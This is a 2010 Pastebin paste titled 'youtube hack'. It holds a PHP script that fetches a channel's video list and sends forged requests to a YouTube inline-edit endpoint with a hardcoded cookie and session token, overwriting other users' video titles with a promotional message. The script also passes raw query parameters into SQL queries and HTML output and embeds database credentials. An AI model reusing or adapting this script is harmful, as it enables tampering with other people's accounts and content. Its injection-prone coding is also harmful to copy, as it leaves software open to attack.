SHARE
TWEET

youtube hack

a guest Sep 26th, 2010 2,617 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2. // pog feito corrido...
  3.     @mysql_pconnect('localhost', 'migueltarga', 'youtubegothacked') or die ('Erro de banco de dados.');
  4.     @mysql_select_db('youtube');
  5.        
  6. function cURL($cookie,$post){
  7.    if($ch = curl_init()){
  8.       curl_setopt_array($ch,
  9.          array(
  10.             CURLOPT_URL => "http://www.youtube.com/watch_inlineedit_ajax",
  11.             CURLOPT_RETURNTRANSFER => 1,
  12.                         CURLOPT_COOKIE => $cookie,
  13.             CURLOPT_CUSTOMREQUEST => ($post)?"POST":"GET",
  14.             CURLOPT_POSTFIELDS => $post
  15.          )
  16.       );
  17.    $ex = curl_exec($ch);
  18.    curl_close($ch);
  19.    unset($ch);
  20.    }
  21.    return $ex;
  22. }
  23.  
  24.  
  25. if (isset($_GET["canal"])){
  26.         if (isset($_GET["c"])){
  27.                
  28.                
  29.                 $cookie = "meucookie";
  30.                 $msg=rawurlencode("@migueltarga e @saadzim_ Amaram seu video *-*!");
  31.                 $token=rawurlencode("hWKIVeQYH2X6uVs_sa234YOrSoN8MA==");
  32.                 $postage = "field_myvideo_title=$msg&session_token=$token&video_id=".$_GET["c"]."&action_save_video=1&ignore_broadcast_settings=0&field_current_still_id=2";
  33.                 $p=cURL($cookie,$postage);
  34.                 if (preg_match("/Video details have been updated/",$p)){
  35.                 mysql_query("INSERT INTO vagina (vid) VALUES ('".$_GET["c"]."')");
  36.                 }else{
  37.                 echo $p;
  38.                 }
  39.         }
  40.         $url='http://gdata.youtube.com/feeds/api/users/'.$_GET["canal"].'/uploads';
  41.         $yt=simplexml_load_file($url);
  42.  
  43.         foreach($yt->entry as $video){
  44.                 preg_match("/v=([\d\w-_]+)/",$video->link['href'],$vid);
  45.                 $res = mysql_query("SELECT vid FROM vagina WHERE vid = '".$vid[1]."'");
  46.                 if (mysql_num_rows($res) < 1) {
  47.                         echo "Id: ".$vid[1]."( <a href='?c=".$vid[1]."&canal=".$_GET["canal"]."'>Gostei!</a> ) </br>";
  48.                 }else{
  49.                         echo "Id: <a href='http://www.youtube.com/watch?v=".$vid[1]."' target='_blank'>".$vid[1]."</a> ( <b>Já vi, e gostei muitu! *-* </b>) </br>";
  50.                 }
  51.         }
  52. }else{
  53.  
  54. ?>
  55. <FORM ACTION="opa.php" METHOD="GET">
  56.         <p>  
  57.                 <strong>Canal:</strong>
  58.         <input name="canal" type="text" id="canal">
  59.         <br>
  60.         <input type="submit" name="Submit" value="Enviar">
  61.         <br>
  62.         </p>
  63. </FORM>
  64. <?
  65. }
  66. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top